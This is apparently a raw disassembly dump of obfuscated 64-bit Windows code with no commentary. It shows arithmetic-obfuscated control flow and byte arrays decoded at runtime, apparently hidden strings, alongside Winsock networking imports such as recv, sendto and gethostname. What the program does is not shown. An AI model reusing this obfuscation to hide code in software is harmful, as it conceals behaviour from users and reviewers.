add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x1401607b0
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0xf70]
sub dil, al
sub dil, 0x20
add dil, dl
add dil, r8b
jmp 0x1401607fd
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, esi
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xf70]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xf70], al
add r9, r12
add rax, r9
sub r10, rax
jmp 0x140160857
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x14016082b
movabs rcx, 0xb6eaacf105f23edc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x1401607fd
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401607b0
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xf70], cl
add r9, r12
jmp 0x1401607d3
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
sub r10, r12
jmp 0x1401608b6
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r10
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
add dl, dil
mov byte [rbp + r10 + 0xf70], dl
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401608b6
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xf70], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x1401608a7
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xf70]
add rax, r9
add r10, rax
add r10, r12
jmp 0x14015ff10
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x14015ff07
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14015fef1
lea rdx, [rbp + 0x16a1180]
jmp 0x14016091c
lea rdx, [rbp + 0x6bcd0c]
jmp 0x14016091c
lea rdx, [rbp + 0xf70]
lea rcx, [rbp + 0x218]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2eb0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140160951
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov esi, 0x40
mov r9d, esi
lea r8d, [rsi - 0x3e]
lea rcx, [rbp + 0x2eb0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2eb0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2eb0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x9b0], 0x9b
mov byte [rbp + 0x9b1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x9b2], 0x90
mov byte [rbp + 0x9b3], 0xdb
mov byte [rbp + 0x9b4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x9b5], Ordinal_217
mov byte [rbp + 0x9b6], 0x7b
mov byte [rbp + 0x9b7], Ordinal_217
mov byte [rbp + 0x9b8], 0x43
mov byte [rbp + 0x9b9], Ordinal_211
mov byte [rbp + 0x9ba], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x9bb], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x9bc], 0x5e
mov byte [rbp + 0x9bd], Ordinal_211
mov byte [rbp + 0x9be], 0x5d
mov byte [rbp + 0x9bf], Ordinal_211
mov byte [rbp + 0x9c0], WSASetLastError
mov byte [rbp + 0x9c1], 0xc9
mov byte [rbp + 0x9c2], 0x7a
mov byte [rbp + 0x9c3], 0xcb
mov byte [rbp + 0x9c4], Ordinal_79
mov byte [rbp + 0x9c5], Ordinal_200
mov byte [rbp + 0x9c6], 0x64
mov byte [rbp + 0x9c7], Ordinal_200
mov byte [rbp + 0x9c8], 0x54
mov byte [rbp + 0x9c9], 0xc1
mov byte [rbp + 0x9ca], 0x5b
mov byte [rbp + 0x9cb], Ordinal_200
mov byte [rbp + 0x9cc], 0x9f
mov byte [rbp + 0x9cd], 0x3d
mov byte [rbp + 0x9ce], 0x9a
mov byte [rbp + 0x9cf], 0x3f
mov byte [rbp + 0x9d0], 0x84
mov byte [rbp + 0x9d1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x9d2], 0xa8
mov byte [rbp + 0x9d3], Ordinal_60
mov byte [rbp + 0x9d4], 0xad
mov byte [rbp + 0x9d5], gethostname
mov byte [rbp + 0x9d6], 0xb8
mov byte [rbp + 0x9d7], Ordinal_60
mov byte [rbp + 0x9d8], 0xad
mov byte [rbp + 0x9d9], Ordinal_50
mov byte [rbp + 0x9da], 0xa0
mov byte [rbp + 0x9db], gethostname
mov byte [rbp + 0x9dc], 0xbf
mov byte [rbp + 0x9dd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x9de], 0x78
mov byte [rbp + 0x9df], Ordinal_50
mov byte [rbp + 0x9e0], Ordinal_143
mov byte [rbp + 0x9e1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x9e2], 0xb3
mov byte [rbp + 0x9e3], Ordinal_46
mov byte [rbp + 0x9e4], 0xb2
mov byte [rbp + 0x9e5], Ordinal_41
mov byte [rbp + 0x9e6], Ordinal_41
mov byte [rbp + 0x9e7], Ordinal_41
xor eax, eax
mov qword [rbp + 0x9e8], rax
mov dword [rbp + 0x9f0], eax
mov word [rbp + 0x9f4], ax
mov byte [rbp + 0x9f6], al
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x140161675
movzx r8d, byte [rbp + r9 + 0x9b0]
mov rdx, r8
cmp rbx, r9
ja 0x14016166c
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140160b99
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x44
jmp 0x140160bd0
je 0x1401615e6
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401615b5
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140161592
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140161543
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x140161663
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x140160c02
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x140160c43
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140161532
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14016150e
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401614c1
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14016149a
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14016140c
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401610dd
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401610c9
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x1401610a7
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140161095
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x140161072
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x14016105e
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x14016103b
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x140161014
lea rbx, [r10 + 0x5a]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x140161640
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140161619
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x140160df6
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140160dcf
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x140160da9
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140160fae
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x140160f23
mov rbx, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x140160f0f
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140160eec
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140160ed8
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x140160eb5
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x140160e93
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140160e72
lea rcx, [r10 + 9]
cmp rbx, rcx
ja 0x140160e4f
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x140160e3b
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x140160e18
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140160c50
mov rbx, rcx
lea r10, [rcx + 6]
jmp 0x140160c50
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x14
add dil, dl
jmp 0x140160c43
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140160bd0
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x140160b60
movabs rcx, 0xbe3c6348e5c8b9a0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140161565
movabs rdx, 0xd14df463755592d8
mov ecx, recv
jmp 0x1401611e1
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x1401615b0
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401613db
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r14b
jmp 0x1401615d3
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401615d6
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x14016141b
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x140161462
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x14016111c
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
cmp rbx, 4
jae 0x1401613b8
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jbe 0x1401612b0
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
cmp r10, 4
jb 0x1401613ab
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140161565
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x1000
je 0x1401613e6
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x14016119d
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140160f44
movabs rdx, 0x74d06cabcb703da8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14016142e
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x1401615d6
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x1401614a9
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x1401614e2
movabs rdx, 0xc116b11609a3a288
mov ecx, r15d
jmp 0x14016151d
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x14016158d
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x140161552
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x140161104
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140160fd0
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140161134
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140161602
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140161151
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x14016141b
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14016117c
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x1401615d6
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140160fd0
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x14016151d
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401611c9
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x140161565
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401611f9
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14016158d
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140161224
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x1401615d3
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140161250
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
jmp 0x14016142e
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140161280
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140161462
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140160f44
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x140161602
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401612cd
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14016111c
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401612ea
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x14016141b
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140161307
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x1401614a9
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140161333
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401614e2
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14016135e
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, r14b
jmp 0x1401615b0
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14016137b
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x1401611e1
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140160f7c
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x140161565
mov byte [rbp + r9 + 0x9b0], dil
jmp 0x140161611
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x9b0]
sub dil, al
sub dil, 0x60
add dil, dl
add dil, r8b
jmp 0x1401614e2
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x9b0]
jmp 0x140161428
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x9b0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0x9b0], r8b
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140161602
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401615d3
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4c
add dil, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x9b0], cl
jmp 0x1401615d3
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401615b0
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140161552
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x9b0], cl
add r10, r12
jmp 0x1401615b0
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
sub r9, r12
jmp 0x140161611
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x14
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140161611
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x34
movzx eax, byte [rbp + r9 + 0x9b0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x140160b4d
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140160b4a
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x140160b3a
lea rdx, [rbp + 0x16f10e0]
jmp 0x14016167c
lea rdx, [rbp + 0x68a444]
jmp 0x14016167c
lea rdx, [rbp + 0x9b0]
lea rcx, [rbp + 0x238]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2fc0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401616b1
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r12d
mov r9d, esi
mov r8d, 2
lea rcx, [rbp + 0x2fc0]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2fc0]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2fc0]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x880], 0xcb
mov byte [rbp + 0x881], Ordinal_143
mov byte [rbp + 0x882], 0xac
mov byte [rbp + 0x883], 0xf3
mov byte [rbp + 0x884], Ordinal_79
mov byte [rbp + 0x885], 0xf1
mov byte [rbp + 0x886], WSACleanup
mov byte [rbp + 0x887], 0xf7
mov byte [rbp + 0x888], 0x55
mov byte [rbp + 0x889], 0xf5
mov byte [rbp + 0x88a], 0xa2
mov byte [rbp + 0x88b], 0xfb
mov byte [rbp + 0x88c], 0x66
mov byte [rbp + 0x88d], 0xf9
mov byte [rbp + 0x88e], 0x55
mov byte [rbp + 0x88f], 0xff
mov byte [rbp + 0x890], 0x59
mov byte [rbp + 0x891], 0xfd
mov byte [rbp + 0x892], WSACleanup
mov byte [rbp + 0x893], 0xe3
mov byte [rbp + 0x894], 0x47
mov byte [rbp + 0x895], 0xe1
mov byte [rbp + 0x896], Ordinal_79
mov byte [rbp + 0x897], 0xe7
mov byte [rbp + 0x898], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x899], 0xe5
mov byte [rbp + 0x89a], 0x42
mov byte [rbp + 0x89b], 0xeb
mov byte [rbp + 0x89c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x89d], 0xe9
mov byte [rbp + 0x89e], sil
mov byte [rbp + 0x89f], 0xef
mov byte [rbp + 0x8a0], 0xb8
mov byte [rbp + 0x8a1], 0xed
mov byte [rbp + 0x8a2], 0x87
mov byte [rbp + 0x8a3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x8a4], 0x44
mov byte [rbp + 0x8a5], Ordinal_211
mov byte [rbp + 0x8a6], sil
mov byte [rbp + 0x8a7], Ordinal_217
mov byte [rbp + 0x8a8], 0x81
mov byte [rbp + 0x8a9], Ordinal_217
mov byte [rbp + 0x8aa], 0x7e
mov byte [rbp + 0x8ab], 0xdb
mov byte [rbp + 0x8ac], 0x7c
mov byte [rbp + 0x8ad], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x8ae], WSACleanup
mov byte [rbp + 0x8af], 0xdf
mov byte [rbp + 0x8b0], Ordinal_143
mov byte [rbp + 0x8b1], 0xdd
mov byte [rbp + 0x8b2], 0x64
mov byte [rbp + 0x8b3], Ordinal_200
mov byte [rbp + 0x8b4], WSAGetLastError
mov byte [rbp + 0x8b5], 0xc1
mov byte [rbp + 0x8b6], 0x54
mov byte [rbp + 0x8b7], Ordinal_200
mov byte [rbp + 0x8b8], Ordinal_200
mov byte [rbp + 0x8b9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x8ba], eax
mov word [rbp + 0x8be], ax
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, rsi
jae 0x1401624c8
movzx r8d, byte [rbp + r9 + 0x880]
mov r11, r8
cmp rbx, r9
ja 0x1401624bf
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401618f6
movabs r14, 0xda32561d88143dbe
lea rcx, [r9 + r14]
mov rax, r8
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
sub dil, 0x32
jmp 0x14016193a
je 0x14016242f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401623d7
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14016237d
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140162353
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140162308
movabs r14, 0xda32561d88143dbe
cmp r10, r9
ja 0x1401624b6
lea rax, [r10 + 4]
cmp rbx, rax
jae 0x14016196f
movabs rdx, 0xe621106c29a91096
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1a
jmp 0x140161b83
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401622e8
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401622c4
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140162292
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14016227e
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140161ea8
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140161e85
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x140161e71
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140161e4d
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140161e39
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140161e15
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x140161df1
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x140161dcd
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140161daa
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140161d83
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1401619b0
lea rbx, [r10 + 0x200]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x14016248f
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x140162468
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x140161bb2
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140161b8b
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x140161b65
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x140161d5f
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x140161d4b
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x140161d28
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x140161cf9
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1401619b0
lea rbx, [r10 + 0x64]
lea r10, [rbx + 0x400]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x140161ce5
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140161cc2
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140161c9f
